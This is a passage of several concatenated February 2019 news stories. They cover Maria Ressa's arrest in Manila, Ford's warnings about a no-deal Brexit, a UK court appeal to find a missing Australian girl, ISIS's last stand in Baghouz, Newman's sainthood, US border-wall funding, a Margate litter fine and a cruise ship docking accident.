Conte said Rome had not recognised last year's presidential elections and had called for new elections.

"Having said that we do not think we can crown anyone who does not pass through free elections".

Conte said earlier Tuesday his meeting with European Commission President Jean-Claude Juncker "went very well and President Juncker will come to Rome on April 1".

The meeting lasted about half an hour.

"We did not talk about France, but we spoke about various issues," said Conte.

Asked why a fresh meeting was needed in Rome, Conte replied: "He loves Italy".

European Commission Spokesperson Margaritis Schinas told journalists the talks had been "constructive" and "wide-ranging".

A British High Court is urging for help finding a missing three-year-old girl who was allegedly abducted by her mother and taken to the UK.

Victoria McKay, 43, is believed to have left Melbourne in September, taking her daughter Ruby McKay-Uhd with her to live in a campervan.

Ruby has been at the centre of family court proceedings involving her Birmingham-born yoga teacher mother and Australian-born father and yoga teacher Peter Uhd, 57.

Ms McKay had been living in Australia for more than 20 years, giving birth to Ruby during this time.

Victoria McKay is believed to have left Melbourne in September, taking her daughter Ruby (pictured) McKay-Uhd with her

Ruby was wrongfully taken to the UK by her mother in September and has stayed there ever since, despite a family court judge ordering their return to Australia.

Justice Michael Keehan expressed grave concerns for the three-year-old's safety and made an appeal for help at a hearing in the Family Division of the High Court in London on Tuesday.

'I am extremely concerned about this young child, who has been abducted from Australia wrongfully by her mother,' said Justice Keehan.

'It is believed she is living an itinerant lifestyle with her mother in a camper van.'

Justice Keehan chose to made the identity of the pair public with hopes it would help locate the pair.

He said he was concerned for the girl's health and that no-one knew anything about the circumstances in which she was living.

The judge added: 'It is extremely important, and necessary for the welfare of this young child, that all possible steps are taken to locate her as soon as possible.'

Mr Uhd welcomed the decision to release the identities in hopes Ruby may return to him in Australia, The Australian reported.

Ruby was wrongfully taken to the UK by her mother Victoria McKay (pictured) in September and has stayed there ever since, despite a family court judge ordering their return to Australia

'I don't think she's (Ms McKay) got much money,' Mr Uhd said.

'She's been there over winter. She's got this campervan that's not even a proper campervan, it's a converted work van sort of things. It had a pop-top roof  but it would be freezing up there.'

Lawyers representing Mr Uhd told the court all efforts to find his daughter and Ms McKay had failed.

Barrister William Tyzack told Justice Keehan evidence suggested Ms McKay had 'no desire to be found'.

Mr Tyzack said the pair separated a while ago, but Mr Uhd was spending time with his daughter up until her disappearance in September.

Justice Michael Keehan expressed grave concerns for the three-year-old's safety and made an appeal for help at a hearing in the Family Division of the High Court

'Mr Uhd continues to have very real concerns as to Ruby's welfare and about the transient nature of her current life,' he said.

Lawyer James Netto, also representing Mr Uhd, said the three-year-old and her mother are believed to be living in a blue Renault Trafic campervan.

Mr Netto said it's believed the pair may be living on campsites, caravan parks or on farms.

'Ruby's father remains exceptionally concerned for her welfare as a result of Ms McKay's very transient lifestyle,' Mr Netto said.

'He wishes to make it clear that Ms McKay is not in any sort of trouble.

'He is simply seeking for Ruby to be found safely, and for her to return to her home in Melbourne. He asks that anyone who sees her or Ruby to get in touch with us as soon as possible.'An award-winning journalist who heads up an online news site that has been critical of President Rodrigo Duterte was arrested today.

Maria Ressa was taken into custody at her Rappler office in Manila over a libel complaint described as 'politically motivated'.

Duterte has openly lambasted journalists who write unfavourable stories about him, including his anti-drug campaign that has left thousands of mostly poor suspects dead.

The complaint from a businessman was condemned by Amnesty International as 'brazenly politically motivated'.

Duterte's government said the arrest was a normal step in response to the complaint.

Arrest warrant being served right now vs Rappler CEO Maria Ressa. An officer part of the serving party prohibits Rappler employees from taking photos and videos inside the office. Posted by Rappler on Wednesday, 13 February 2019

Maria Ressa, head of online news platform Rappler, leaves the office after being served an arrest warrant today in Pasig City, Manila

Duterte has branded news sites such as Rappler which have been critical of his high-profile war on drug traffickers as 'fake news'. Pictured with Chinese President Xi Jinping when he visited the Philippines last November

Rappler Inc., the news site which Ressa heads, said National Bureau of Investigation agents served the warrant late this afternoon, making it difficult for Ressa to apply for bail, and escorted her from the office to NBI headquarters.

Ressa and a former Rappler researcher, Reynaldo Santos Jr., were indicted recently, the Department of Justice said.

Speaking to reporters after her arrest, the veteran journalist, who is now CEO and executive editor, said she was 'shocked that the rule of law has been broken to a point that I can't see it'.

Footage streamed on Facebook showed plain-clothes party officials speaking with Ressa, while several of the site's journalists live-tweeted what was happening.

She said in a statement: 'We are not intimidated. No amount of legal cases, black propaganda, and lies can silence Filipino journalists who continue to hold the line,.

'These legal acrobatics show how far the government will go to silence journalists, including the pettiness of forcing me to spend the night in jail.'

Maria Ressa, CEO and executive editor of Rappler, was arrested today at the news site's HQ today by Filipino government agents

Ressa showed her arrest warrant to the cameras as a pack of reporters covered her detention over a libel complaint

Rappler said the businessman filed the libel complaint five years after the article appeared in 2012, and the law under which Ressa was charged by the government, the Cybercrime Prevention Act, did not go into effect until months after the article's publication.

The article included allegations that the businessman was linked to illegal drugs and human trafficking, and that a car registered in his name had been used by the country's chief justice.

Amnesty International Philippines said Ressa's arrest was based on a 'trumped up libel charge'.

'This is brazenly politically motivated, and consistent with the authorities' threats and repeated targeting of Ressa and her team,' it said.

The National Union of Journalists of the Philippines said: 'The arrest of Ressa on the clearly manipulated charge of cyberlibel is a shameless act of persecution by a bully government.

'The government ... now proves it will go to ridiculous lengths to forcibly silence critical media.'

Official estimates put the number dead from President Duterte's war on drugs at 5,000, but a senator recently said it had claimed more than 20,000 lives

Official estimates put the number of dead from the Filipino president's widely-criticised war on drugs at 5,000, but a senator recently said it had claimed more than 20,000 lives.

Justice Secretary Menardo Guevarra said the arrest was 'merely part of any criminal procedure' and that Ressa was indicted more than a week ago.

Duterte's spokesman said the charge against Ressa was based on facts which she should simply answer and had 'nothing to do' with press freedom.

Rappler is one of several news agencies deemed critical of Duterte's policies, which has seen his describe the outlet as 'fake news'.

Duterte had already banned a Rappler reporter from his news briefings after the government's corporate watchdog found that the news site violated a constitutional prohibition on foreign ownership of media when it received money from an international investment firm.

Rappler, which was founded in 2012, rejected the ruling.

The arrest warrant vs Maria Ressa is being served at the Rappler HQ now, an officer part of the serving party who introduced himself to be part of the NBI tried to prohibit me from taking videos  WHICH IS PART OF MY JOB pic.twitter.com/TElJzSjJer  Aika Rey (@reyaika) February 13, 2019

Maria Ressa was arrested on what was described by Amnesty International as 'brazenly politically motivated' charges

Ressa has also posted bail on tax evasion charges which she denies and says were politically motivated.

The International Press Institute, a global network of media personnel, strongly condemned Ressa's detention.

IPI director of advocacy Ravi R. Prasad said: 'The arrest of Maria Ressa is an outrageous attempt by the Philippines government to silence a news organization that has been courageously investigating corruption and human rights violations in the country.

'The manner in which Ressa has been pursued by the government by slapping legal cases against her is not only shameful but also a gross and willful violation of press freedom.'

In its selection of Ressa as a Person of the Year, Time magazine cited her and several other journalists as 'guardians' in what it said was an effort to emphasise the importance of reporters' work in an increasingly hostile world.

Ressa, who has worked with CNN, also was the winner of two prestigious journalism awards last year, a Press Freedom award from the New York-based Committee to Protect Journalists, and the International Center for Journalists' Knight International Journalism Award.Ford today warned that leaving the EU without a deal would be 'catastrophic' - amid claims the car giant is preparing to move production out of the UK.

The company has added its voice to those sounding the alarm about the prospects of Britain crashing out next month.

The chances of a no-deal outcome appear to be rising with talks in Westminster and Brussels still mired in deadlock.

Theresa May was reportedly told during a phone call with business leaders last night that Ford is stepping up preparations to shift operations out of the UK.

Ford has added its voice to firms sounding the alarm about the prospects of Britain crashing out with no Brexit deal next month

Ford today warned that leaving the EU without a deal would be 'catastrophic' - amid claims the car giant is preparing to move production out of the UK

The car industry has been delivering increasingly panicked warnings about the impact of a no-deal Brexit, with some firms already cutting back on jobs and production plans.

DYSON, AIRBUS AND NOW FORD THREATEN TO QUIT UK OVER NO DEAL - SO WHO NEXT? Ford is the latest in a line of large firms to hint it is planning to up sticks from the UK and head abroad while blaming Brexit. Last month, billionaire Sir James Dyson announced plans to relocate the Dyson head office from the UK to Singapore -despite being one of the most vocal business supporters of Brexit. The head of Airbus also tore into the Government's handling of Brexit, branding it a 'disgrace' and warning that the company could pull out of the UK if its ability to compete on the global stage is harmed by a no-deal departure. Likewise the car industry has been delivering increasingly panicked warnings about the impact of a no-deal Brexit - Nissan has announced it will no longer build its X-Trail car in Sunderland, and Jaguar Land Rover will cut 4,500 jobs in the UK. Ford could cut about 1,000 jobs, mainly at its Bridgend engine plant. The Dutch government has recently claimed it is in talks with 250 UK firms about luring them to the Netherlands. Advertisement

Nissan said last week it would no longer build its X-Trail car in Sunderland. And Jaguar Land Rover has announced plans to cut 4,500 jobs in the UK, and Ford could cut about 1,000 jobs, mainly at its Bridgend engine plant.

The news will come as a fresh blow to Mrs May as she prepares to face MPs at a crunch Commons vote tomorrow. The Prime Minister is facing yet another mauling at the hands of Tory rebels who have accused her of a 'sneaky' bid to rule out leaving the EU without a deal.

The PM responded that the government was putting together a package of aid for the car industry, according to The Times - but did not spell out what it would include.

A Ford spokesman stopped short of confirming the details today, but said: 'We have long urged the UK Government and Parliament to work together to avoid the country leaving the EU on a no-deal, hard-Brexit basis on March 29.

'Such a situation would be catastrophic for the UK auto industry and Ford's manufacturing operations in the country.

'We will take whatever action is necessary to preserve the competitiveness of our European business.'

But Unite national officer Des Quinn said the latest warning from Ford underlines the catastrophic consequences of a no-deal Brexit on the UK's world leading car industry.

He added: 'Ministers and MPs must stop gambling with the futures of UK workers and their families. They now must do what is best for the country by taking a no deal, hard Brexit off the table and securing the tariff-free, frictionless trade with Europe through a permanent customs union on which our manufacturing success depends.'

Eurosceptic MPs call on Theresa May to discipline Brexit negotiator following comments in bar Theresa Mays chief Brexit negotiator was hung out to dry by ministers yesterday after suggesting the UKs exit from the EU would be delayed unless MPs vote for her deal next month. Olly Robbins angered Eurosceptic MPs after it emerged he had been overheard in a Brussels bar telling colleagues that Parliament would face a stark choice at the end of next month between backing Mrs Mays deal or a long extension of Article 50. The comments were not disputed by No 10. Eurosceptic MPs called on Mrs May to rein in Mr Robbins, or even sack him. Former Brexit minister Steve Baker said his comments were most unfortunate, adding: The Prime Minister is the ultimate negotiator for the UK. Advertisement

Rebecca Long-Bailey, Shadow Business Secretary, said: 'Ford's decision to step up preparations to shift production overseas will risk thousands of highly skilled jobs in Bridgend, Dagenham, Halewood and Dunton.

'Businesses have lost confidence in the Government's ability to handle Brexit. It is high time the Prime Minister heeds the numerous warnings by car manufacturers and gives businesses the certainty they desperately need. She must rule out 'no deal'.'

Meanwhile, Trade Secretary Liam Fox has admitted that efforts to 'roll over' EU trade deals with third countries in time for Brexit will 'go down to the wire'.

Internal documents seen by the Sun suggest just six of the 40 deals Britain is seeking to roll over before its March 29 exit will be ready on time.

'A number of negotiations are at an advanced stage,' he told MPs.

'As with all international negotiations and indeed any negotiations, they will go down to the wire. I would expect nothing different from these agreements - that is the way that countries do business.'

Cross-Channel tensions continued to rise today amid Mrs May's bid to overhaul the Irish border backstop.

Belgium's Prime Minister has jibed that a no-deal Brexit would be better than one on bad terms - but insisted the current deal is a good one.

Theresa May (pictured at No10 today) was reportedly told during a phone call with business leaders last night that Ford is stepping up preparations to shift operations out of the UK

Dutch prime minister claims Britain is a 'diminished' country because of Brexit The Dutch prime minister claimed last night that Britain is a diminished country because of Brexit. During a speech in Switzerland, Mark Rutte also warned that leaving the European Union without a deal would lead to insurmountable consequences for the British economy. During a speech in Switzerland, Mark Rutte (pictured) warned of the consequences of Brexit Calling for more EU unity, Mr Rutte said: We should stick together, now more than ever. Because if the chaos of Brexit teaches us anything, its that theres no such thing as splendid isolation. However, former Tory leader Iain Duncan Smith hit back, saying: Europe is mired in mess and debt and the UK made a bold decision to join the rest of the world. Tory MP Jacob Rees-Mogg added: EU leaders are now resorting to mere abuse as their beloved institution flounders. Happily we are taking back control and can afford to laugh at their foibles. Advertisement

Charles Michel said the UK crashing out in March would at least offer the EU clarity on the way forward with just 44 days to go.

But he warned hard Brexiteers in Parliament 'a good deal is on the table' and the attempts to frustrate the plan would boost the prospects of a 'bad deal'.

Mr Michel insisted the backstop for the Irish border opposed by many Tory MPs was a crucial reason why the current deal was a good one. He said it guarantees peace in Ireland while boosting the economy.

May faces Tory fury after EU envoy is overheard warning of Brexit delay Theresa May scrambled to defuse a bitter row with Brexiteers today after her EU envoy was overheard saying she will put off a vote on her deal until the last moment - and then threaten to delay the UK's departure unless they approve it. Olly Robbins loudly told companions in a hotel bar that the 'week beginning end of March' would be critical, just days before the UK is due to leave the bloc. He suggested MPs will be confronted with a 'long extension' to the Article 50 process if they do not give the plan the green light at that point. The private conversation, which happened within earshot of an ITV journalist on Monday night, sent Brexiteers into meltdown. Mrs May has repeatedly insisted that the UK will leave on schedule on March 29 - despite growing doubts among ministers over whether that is realistic even if her package was passed immediately. She was grilled about the issue at PMQs this afternoon, with Tory Henry Smith asking her to reject the 'chatter'. Mrs May said the claims were based on what 'someone said to someone else, as overheard by someone else, in a bar'. However, she risked inflaming the situation by stopping short of ruling out a delay to the Brexit date, Advertisement

Mrs May's hopes of a Valentine's Day love-in with Tory Brexiteers have been dashed after they accused her of a 'sneaky' bid to rule out leaving the EU without a deal.

A furious row has erupted after the PM tabled a motion for crunch Commons votes tomorrow that seemingly accepts the UK must not crash out of the bloc.

The spat centres on a Remainer-backed amendment that was passed by MPs two weeks ago rejecting the idea of no deal.

Although that vote was not binding on ministers, the government motion due to be considered tomorrow endorses 'the approach to leaving the EU expressed by this House on 29 January'.

That has been interpreted by Brexiteers as Mrs May admitting that no deal is off the agenda - despite the premier repeatedly insisting it is a possibility.

One senior Conservative Brexiteer told MailOnline the clash showed the level of 'distrust' between Eurosceptics and the leader.

Mrs May is also scrambling to defuse a bitter row with Brexiteers after her EU envoy was overheard saying she will put off a vote on her deal until the last moment - and then threaten to delay the UK's departure unless they approve it.

Olly Robbins loudly told companions in a hotel bar that the 'week beginning end of March' would be critical, just days before the UK is due to leave the bloc.

He suggested MPs will be confronted with a 'long extension' to the Article 50 process if they do not give the plan the green light at that point.

The private conversation, which happened within earshot of an ITV journalist on Monday night, sent Brexiteers into meltdown.

Mrs May has repeatedly insisted that the UK will leave on schedule on March 29 - despite growing doubts among ministers over whether that is realistic even if her package was passed immediately.

She was grilled about the issue at PMQs this afternoon, with Tory Henry Smith asking her to reject the 'chatter'. Mrs May said the claims were based on what 'someone said to someone else, as overheard by someone else, in a bar'.

However, she risked inflaming the situation by stopping short of ruling out a delay to the Brexit date,

Chief negotiator Olly Robbins was overheard talking in a bar about Mrs May and Brexit

The history of Ford in the United Kingdom: How firm grew from tiny dealership in Southampton to giant factory in Dagenham 1903 - The first Ford cars to be brought to Britain are the Model As. 1910 - Company opens its first dealership in Southampton soon after Ford Motor Company (England) Limited was established in London. 1917 - A plant was opened in Cork, Ireland for tractor manufacture but was eventually used for the manufacture of cars as well. 1923 - A new site for a car manufacturing factory is chosen by the River Thames in Dagenham. A landmark labour-relations dispute took place at the Dagenham plant, when on June 7 women sewing machinists walked out (pictured) 1929 - Construction starts on the new car plant in Dagenham, before opening in 1931 and manufacturing the Model AA Truck and Model A car. 1940 - During WWII, the Dagenham factory turned out 360,000 vehicles and a new factory in Trafford Park, Manchester was created. 1960s - The company opened factories in Halewood, Basildon, Swansea and Cork. 1968 - A landmark labour-relations dispute took place at the Dagenham plant, when on June 7 women sewing machinists walked out. The women were responsible for car seat covers and the strike led to a halt in all car production. The sewing machinists had been told they were Category B (less-skilled) workers and not Category C (more-skilled). But the dispute was eventually resolved when Barbara Castle, the Secretary of State for Employment and Productivity stepped in and brokered a deal. The sewing machinists (pictured at a meeting) had been told they were Category B (less-skilled) workers and not Category C (more-skilled) The 187 women, who brought Ford to its knees and were a key milestone in the equal pay battle, had their experiences made into the 2010 Bafta-nominated film Made in Dagenham starring Sally Hawkins and Rosamund Pike. 1970s - Ford started to manufacture more cars in Europe, to prevent production being halted in a similar way to the 1968 walk-out. 1980s onwards - Production continued to be moved to Europe, and by 1990 the Fiesta was the only model built in Dagenham. 2013 - Car production stops at the Dagenham factory, with the company aiming for it to become a global centre of excellence for diesel engine production. Advertisement

Just six existing EU trade deals have been agreed ahead of Britain's scheduled departure from the European Union Just six existing EU trade deals  necessary in the event of No Deal  have been agreed in preparation for Brexit day. Trade Secretary Liam Fox has pledged to roll over 40 deals signed by the EU with 70 different countries to ensure they still apply to the UK after March 29. But a document, leaked to The Sun, revealed only six such deals have been agreed so far. It gave amber warnings to nine countries, including major economies South Korea and Canada. Red and black warnings were given to 23 other deals, including with Japan, Turkey and Mexico. This means they have no chance of being signed in time. The UK benefits from the deals, which cover 11 per cent of overall trade and are mostly based on World Trade Organisation rules, thanks to EU membership. Dr Fox said if there was a deal with the EU the agreements would continue until the end of the transition period in 2020. Yesterday he told the Commons the talks would inevitably go down to the wire, as thats the way that countries do business. But Labour trade spokesman Barry Gardiner said inadequate Government resources were focused on the wrong priorities. It came as US carmaker Ford warned a No Deal Brexit would be catastrophic for its British operations. Earlier this week it was reported the company, which employs 13,000 Britons, is preparing alternative sites overseas to avoid No Deal disruption. AdvertisementDramatic footage has emerged purportedly showing ISIS fanatics firing anti-tank missiles at US-backed forces in a bloody defence of their last Syrian stronghold.

The video, believed to have been captured in the terror group's last holdout in Baghouz, near the Iraqi border, shows a guided weapon thudding into buildings.

It is thought to show a recent confrontation between the extremists and Syrian Democratic Forces, a Kurdish-led coalition backed by Washington.

The SDF has launched a final push this week to expel ISIS fanatics from the enclave.

Thousands of people have fled Baghouz as the fighting rages, including women and children but also suspected jihadists.

Today the Kurdish-led SDF were advancing slowly towards hundreds of jihadists, with both sides locked in heavy clashes.

Footage shared online purportedly showed an ISIS fighter launching an anti-tank guided missile which spirals through the air before blowing up the top floor of a building.

In another shot, a rocket destroys a wall with a missile, while a man shouts 'Allahu Akbar' - 'God is great'.

The Syrian Observatory for Human Rights said the US-backed fighters were making painstaking progress with mines scattered throughout the sector.

Hundreds of people fled the IS holdout in the night of Tuesday to Wednesday, an SDF spokesman said.

The SDF believes 400 to 600 jihadists may be holed up there, including foreigners and other hardened militants.

Last defence: Dramatic footage has emerged purportedly showing ISIS fanatics firing anti-tank missiles at US-backed forces in a bloody defence of their last Syrian stronghold

Missile strike: A missile destroys part of the wall of a compound. The footage is thought to show the terror group's last stand in Baghouz

Men who had escaped were patted down and taken for retina scans.

Since early December, more than 38,000 people, mostly wives and children of IS fighters, have fled into SDF-held areas, the Observatory said.

That figure includes around 3,400 suspected jihadists detained by the SDF, according to the monitor.

'The bombing was unimaginable, we ran from one place to the other,' said Hala Hassan, 29, a woman from Syria's Deir al-Zor who escaped with her five children.

She said 'fighters from all nationalities' were in the enclave.

'There was no food. We ate grass from the ground like sheep... ISIS had blocked the roads and smugglers wanted thousands of dollars,' she said.

The SDF launched a military offensive in September to expel ISIS from the oil-rich province of Deir Ezzor.

Wreckage: A Syrian Democratic Forces (SDF) armoured vehicle drives through destroyed streets near the front line in Baghouz

A diagram showing the last remaining ISIS territory in Syria in the eastern province of Deir Ezzor, where U.S.-backed coalition forces have launched a bid to push them out

The Kurdish-led alliance has pressed the group into a patch of less than one square mile.

Since then, more than 1,300 SDF fighters and 650 jihadists have been killed, while more than 400 civilians have also lost their lives.

US President Donald Trump on Monday said the coalition may declare victory over IS in Syria within days.

A victory in Baghouz would allow the United States to withdraw all its 2,000 troops from Syria, as announced by Trump in December.

But a top U.S. general said last week the militants would be an enduring menace after the withdrawal, as they retained leaders, fighters, and resources that would fuel further insurgency.

Smoke from an airstrike is seen on the front line in Baghouz as the Syrian Democratic Forces (SDF) stepped up their final campaign to oust the remaining ISIS fightersPope Francis has approved a miracle needed to make Cardinal John Henry Newman, a prominent Anglican convert, a saint, the Vatican announced on Wednesday.

Francis' predecessor, Pope Benedict XVI, beatified Newman during a visit to Britain in 2010. In the Catholic church's saint-making process, one miracle is necessary for beatification, and a second miracle, occurring after the beatification ceremony, must be certified by Vatican experts for sainthood to be conferred.

The Vatican didn't give details in announcing Francis' approval on Tuesday of this second miracle. But Catholic media last year reported that a pregnant woman's recovery, with no scientific explanation, from a life-threatening illness, had been confirmed by church officials and attributed to Newman's intercession.

The Vatican didn't give details in announcing Francis' approval on Tuesday of this second miracle

Cardinal John Henry Newman (left) was beatified by Pope Benedict XVI (right) on a visit to England in 2010

The London-born Newman, who died in England in 1890, had been hailed by Benedict as a model for ecumenism.

What are the five steps to becoming a saint? Five-year wait: Five years usually needs to have passed after someone's death for the process to begin. This allows for a period of reflection on the case. Servant of God: The bishop of the diocese where the person has died investigates whether their life was holy enough to be deemed a 'servant of God'. Life of heroic virtue: The Congregation for the Causes of Saints looks at the case. If they approve it is passed onto the Pope, who declares the subject a person of 'heroic virtue'. Beatification: A miracle needs to happen to a person who has prayed to the person in question. Canonisation: A second miracle is attributed to the person who has been beatified. Advertisement

Newman renounced an illustrious academic career at Oxford University to convert to Catholicism in 1845, convinced that the truth he sought could no longer be found in the Church of England.

Anglicans split from Rome in 1534 when the English monarch Henry VIII was denied a marriage annulment.

No date was immediately announced for a sainthood ceremony.

The Vatican on Wednesday also said that Francis had approved the 'heroic virtues of God's servant' Hungarian Cardinal Jozsef Mindszenty, a staunch foe of Communism who spent more than seven years in prison in his homeland and several years in asylum at the U.S. Embassy in Budapest. He later was granted permission by Hungarian authorities to live in exile in Vienna.

In 1974, amid pressures from the then-Communist Hungarian government, Pope Paul VI removed his titles as Roman Catholic primate of Hungary and as archbishop in Budapest. Mindszenty pointedly denied he had retired voluntarily from those posts, attributing that decision to the Vatican alone.

Papal recognition of 'heroic' virtues is an early step toward possible sainthood.

Mindszenty died in 1975 in Vienna, Austria.A mother whose son was killed by an illegal immigrant has urged Donald Trump to 'hold strong' and build a wall along the US-Mexico border.

Maureen Maloney's son Matthew Denice, 23, died in a crash caused by an Ecuadorian man who was in the US illegally in 2011.

Nicolas Guaman was drunk as he passed through a stop sign in his pick-up truck and struck Denice, who was riding a motorcycle.

He then attempted to flee the scene and ran over Denice, who became lodged in a wheel well.

Maureen Maloney (pictured) has urged Donald Trump told strong on his pre-election promise of building a border wall along the U.S. - Mexico border

Matthew Denice Maloney (left) died when his motorcycle was struck by Nicolas Guaman (right), who was drink-driving and in the U.S. illegally in 2011

Denice's mother recounted how her son was 'dragged a quarter-mile to his death by an illegal alien while horrified witnesses were banging on his truck to stop him.'

Guaman was convicted in 2014 of manslaughter and is currently serving a 12 to 14-year sentence.

Maloney said the proposed compromise deal to fund just $1.375 billion for new fencing along the border is not enough.

She will attend Capitol Hill in Washington D.C. on Wednesday with other families who lost their loved ones to illegal immigrants to speak to members of Congress.

She told the Boston Herald: 'The Democrats need to listen to families who have lost loved ones. They need to hear us.

'They need to hear from rape victims. They need to hear from parents who lost loved ones to drugs.'

Maloney also described her son as an 'amazing, kind and caring person.'

She previously outlined the horrific details of Denice's death at a rally held by Trump during his election campaign in 2016.

At that rally Trump promised that if elected, he would remove millions of people living in the United States illegally.

Her husband, Denice's stepfather, went so far as to say Trump would have prevented the crime.

Trump has continued his campaign for a border wall as lawmakers tentatively agreed to a deal that would provide nearly $1.4 billion for new fencing

'If Donald Trump were president in 2011, our son Matthew Denice and other Americans would be alive today,' Mike Maloney said.

At one of Trump's early campaign events in August 2015, Maloney met Trump via an arranged meeting in Norwood.

'Will you close the borders?' an emotional Maloney asked Trump then.

Trump then replied: 'We'll get them closed, believe me.'

Since the death of her son, Maloney has been involved with the Remembrance Project, a non-profit organization that seeks to raise awareness about illegal immigration and to honor those killed by people here illegally.

Under mounting pressure from his own party, Trump appears to be grudgingly leaning toward accepting an agreement that would head off a threatened second government shutdown.

Trump intends to sign a bipartisan compromise deal to give him just a quarter of the $5.7 billion he wants for a border wall  while contemplating unilateral actions to plugshortfall

Young boys look through an older section of the border structure from Mexicali, Mexico, alongside a newly-constructed, taller section, left, in Calexico, California

Trump said Tuesday he would need more time to study the plan, but he also declared he was not expecting another shutdown this weekend when funding for parts of the government would run out.

'I can't say I'm happy. I can't say I'm thrilled,' Trump said of the proposed deal. 'But the wall is getting built, regardless.

'It doesn't matter because we're doing other things beyond what we're talking about here.'

Accepting the deal, worked out by congressional negotiators from both parties, would be a disappointment for a president who has repeatedly insisted he needs $5.7 billion for a barrier along the U.S.-Mexico border.

Trump turned down a similar deal in December, forcing the 35-day partial shutdown that left hundreds of thousands of federal workers without paychecks and Republicans reeling.

Lawmakers tentatively agreed to a deal that would provide nearly $1.4 billion for border barriers and keep the government funded for the rest of the fiscal year, which ends on September 30.

The agreement would allow 55 miles (88 kilometers) of new fencing - constructed using existing designs such as metal slats- but far less than the 215 miles (345 kilometers) the White House demanded in December.

The fencing would be built in Texas' Rio Grande Valley.

Senate Democratic leader Chuck Schumer urged Trump to accept the package to avert another shutdown, calling the tentative accord 'welcome news.'Dean Stalham, 55, (pictured) was outside Dalby Cafe in Margate when a piece of extra crispy bacon got stuck down his throat last February. He coughed it into his hand but was still slapped with an 80 fine for spitting. After a year he has finally cleared his name

A gallery manager fined 80 when he choked on a piece of bacon and coughed it up has won a year-long battle to clear his name.

Dean Stalham, 55, was outside Dalby Cafe in Margate when a piece of extra crispy bacon got stuck down his throat last February.

When he started to choke he coughed it onto his hand but was hit with an 80 for spitting.

He refused to pay Thanet District Council, who employs contractors Kingdom, and was threatened with a 2,500 fine and potential court case. But after a year he has finally cleared his name.

Describing his victory, Mr Stalham said: 'I'm completely vindicated and been protesting my innocence for so long.

'It's ludicrous it's taken 12 months to receive this letter which says they can't prove I did it.

'My solicitor will be demanding some apologies from everyone now and writing to Kingdom. I said I'd see it out to the end and it's a massive relief.'

Kingdom has come under fire in recent weeks after an undercover investigation revealed officers hid in bushes to catch people out on minor offences like dog fouling and dropping cigarettes.

Speaking after last month's court hearing when he was told he faced trial before magistrates he told how after he left the cafe he crossed the road.

As he walked for another 100 yards he felt a tap on his shoulder and was confronted by the litter enforcer.

He said: 'I said 'you're having a laugh'. I never spat, I coughed.

'I said I think you need to go to Specsavers because this is ludicrous.

'I've got an unusually large tongue, that's a medical fact and it's joined at the top. I often get food trapped - that's a fact of my life.

'I left the cafe, coughed and the bit of bacon came out my mouth. In no way was it spitting.

'I was brought up to cough into your hand and I've always done that.'

Mr Stalham had eaten extra crispy bacon as part of the 'all in breakfast' at Dalby Cafe in Margate (pictured) when he choked and was accused of spitting

Despite pointing to a piece of bacon caught on his coat sleeve after he raised his hand to his mouth, Mr Stalham's pleas were ignored.

So he refused to give the anti-litter enforcer from private litter enforcement firm Kingdom his name, address and pay the fine.

Thanet District Council which employed Kingdom then took him to court and he was facing trial next month where he could have faced a maximum fine of 2,500.

He joked he would never eat bacon again after it led to facing trial and added: 'Never in a million years am I giving them a penny for something I didn't do.

'I'll die innocent of this. If you interview me on my death bed I'll still maintain it.

'It's one of those cases - it seems so ludicrous and ridiculous but there is a serious side.'

Mr Stalham was concerned his previous criminal record could have gone against him despite being crime free for 15 years and becoming a respected writer and artist in the Kent town.

He is open about serving time in prison twice - for bank fraud and again for trying to sell stolen art by Warhol and Dali worth more than 6 million - after being born into a life of crime in a poverty hit part of post-war north London.

But he believes his life now is evidence that anyone can turn their fortunes around and has made him more determined to fight the fine.

He said: 'I do loads of stuff for Thanet council, I run creative writing classes and run a community art gallery and two homeless charities in Canterbury.

'I work with Thanet council on one hand and yet on the other it's them [who was] taking me to court.

'It's no secret I've been in prison but I've been completely crime free since 2004 and built up a good reputation.

'Government guidelines for issuing a PCN say don't issue if it's not in the public interest and this isn't because it's been admitted what it was - a piece of bacon.'

He said hefought so hard to appeal the fine because he was a volunteer worker and received universal credit.

He said: 'Things are tight as hell and I've even been to the foodbank last month. So 80 would cripple me.

'Your innocence is major to who you are and it's your human right to plead you're innocent - 80 against 2,500 shows how committed I am to proving my innocence.

'Why else would I do it?'The moment a Norwegian Cruise Lines ship crashed into moorings in Puerto Rico has been caught on video.

The Norwegian Epic was en route from Port Canaveral, Florida to the British Virgin Islands when it suffered a mechanical issue on Tuesday, the third day of a seven day cruise, and diverted to San Juan.

A passenger on a cruise ship docked nearby captured video of the Epic sliding into moorings in the port, utterly destroying them.

A passenger on a cruise ship docked nearby captured this video of the Epic sliding into moorings in San Juan on Tuesday, utterly destroying them

The ship was moving with the assistance of tugs after an engine failure forced it to divert from a planned stop in the British Virgin Islands to Puerto Rico

Norwegian Cruise Lines addressed the incident in a brief statement.

'Today as Norwegian Epic was maneuvering into Port of San Juan, Puerto Rico with a local pilot on board & the help of two tug boats, prevailing winds caused the ship to veer towards the pier, damaging two mooring points at Pier 3 East,' the company said.

'No injuries have been reported and guests are currently disembarking the ship as previously scheduled. We are working closely with local authorities to assess the damage,' the statement continued.

The cruise ship is expected to stay in Puerto Rico until Thursday as mechanics work to fix the damage before returning to Port Canaveral on Saturday.

The massive cruise ship demolished the moorings in San Juan in a failed docking

The 1,081-foot long Epic (above) has 19 decks, a crew of 1,724 and capacity for 4,100 people

The Epic had originally been scheduled to arrive in Tortola, British Virgin Islands on Tuesday, before calling on St Thomas, US Virgin Islands on Wednesday and Great Stirrup Cay, Bahamas on Thursday.

Meanwhile, passengers are left wondering whether they will get refunds for the cruise gone awry.

'And what of the engine failure out at sea or the two missed ports that we all paid a premium to visit... do we need to capture those on video before we get suitable answers and compensation for your mismanagement?' wrote one passenger on Twitter.

Norwegian Cruise Lines did not immediately respond to a message from DailyMail.com asking about customer refunds.Jussie Smollett has given his first interview about the shocking racist and homophobic attack he was subjected to as he walked home from a Subway in Chicago last month at 2am.

The Empire actor spoke to ABC's Robin Roberts for an interview that will air on Good Morning America on Thursday morning.

In a brief promo for the interview, he is seen tearing up after Roberts asked him if he feared for his life at any point during the attack.

In a second teaser released later on Wednesday, the actor hit out at the mountain of questions that have come his way since.

'I'm p****d off. It's the attackers but it's also the attacks. At first it was a thing of like, listen if I tell the truth then that's it cause it's the truth.

Jussie Smollett breaks down in tears in his first interview about the racist, homophobic attack he endured last month in Chicago. He is shown in a promo for the interview which will air on Thursday

'Then it became a thing of like, "Oh, how can you doubt that? How can you not believe that. It's the truth."

